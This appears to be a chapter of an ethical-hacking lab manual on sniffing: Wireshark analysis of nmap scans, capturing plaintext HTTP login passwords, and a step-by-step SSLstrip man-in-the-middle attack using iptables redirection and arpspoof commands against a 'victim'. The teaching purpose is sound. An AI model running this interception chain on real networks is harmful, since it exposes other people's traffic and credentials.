7. Sniffing

Practical 1: Analysing NMAP port scans with Wireshark

1. Start you terminal and enter the command in following syntax:

ifconfig <interface> promisc

For example:

ifconfig eth0 promisc

2. Then start the Wireshark by clicking on the Wireshark icon

Applications ==> Sniffing & Spoofing ==> wireshark

3. Once it starts, you might get some error message. You can hit OK button.

4. After wireshark starts, you need to select the interface that we are using for example eth0 and then on left side top click on blue coloured cap that says “Start capturing packets”.

5. Once the wireshark starts capturing the packets, you can start your terminal window and perform NMAP TCP connect scan on your target IP.

nmap -sT scanme.nmap.org

6. Once the scan is done, all the traffic should get captured in wireshark and you can hit stop button.

7. Analyse the packet activities from the capture. Like we know in TCP connect scan the TCP Three Way Handshake is successfully done if the ports are open.

8. Then start a new capture and perform all other advanced scans one by one.
Stealth Scan, XMAS Scan, Null Scan, Idle Scan, and UDP Scan.

9. If you like you can also save the capture file for future reference.

Practical 2: Capturing the HTTP plain text passwords in wireshark

1. Start you terminal and enter the command in following syntax:

ifconfig <interface> promisc

For example:

ifconfig eth0 promisc

2. Then start the Wireshark by clicking on the Wireshark icon

Applications ==> Sniffing & Spoofing ==> wireshark

3. Once it starts, you might get some error message. You can hit OK button.

4. After wireshark starts, you need to select the interface that we are using for example eth0 and then on left side top click on blue coloured cap that says “Start capturing packets”.

5. Once the wireshark starts capturing, you can start your Mozilla Firefox browser and open some http website. For example www.way2sms.com and go to login.

6. There enter some username and password and click on login button.

7. Once you get the next page, go back to wireshark and then you can stop the packet capture. You need to find out the exact packet that contains login details.

8. Enter the display filter “http.request.method==POST” and hit enter.

9. This should filter out all other packets and you would see only POST method requests.

10. After filter applied, you can look for a packet that should have something related in login in info. For example login.action or login.php etc

11. Once you find that kind of packet, double click on it to get the details of that and you can get the details from HTTP form URL encoded. In that you can find username and password.

Practical 3: SSLSTRIP MITM Attack

Note: MITM attacks can be lot more dangerous and can downgrade the network performance. It is highly recommended to do this attacks in virtual environment and keep the Network Adapter in NAT mode.

1. In Kali Linux open a terminal windows and enter following command:

locate sslstrip | grep README

to find out readme file of sslstrip

2. Enter the command to open the file with text editor

leafpad /usr/share/doc/sslstrip/README

3. In the readme file, all the instructions should be given, You need to follow the four steps to successfully perform the attack.

4. Flip your machine into forwarding mode (as root):
echo "1" > /proc/sys/net/ipv4/ip_forward

5. Setup iptables to intercept HTTP requests (as root):
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

6. Run sslstrip with the command-line options you'd like (see above):
sslstrip -l 10000

7. Run arpspoof to redirect traffic to your machine (as root):
arpspoof -i <interface> -t <Target IP> <Gateway IP>

For example:
arpspoof -i eth0 -t 192.168.116.128 192.168.116.2

8. On successfully completing all the steps, you can start the wireshark and start packet capture.

9. Go to your victim's system and in browser try to browse some https websites like facebook, twitter etc and notice the difference.

Note: All the latest browsers are capable to detect and bypass the this kind of MITM attacks.
Apart from this there are certain other tools like Xerosploit, Ettercap, Cain & Abel etc which can be used for MITM attacks.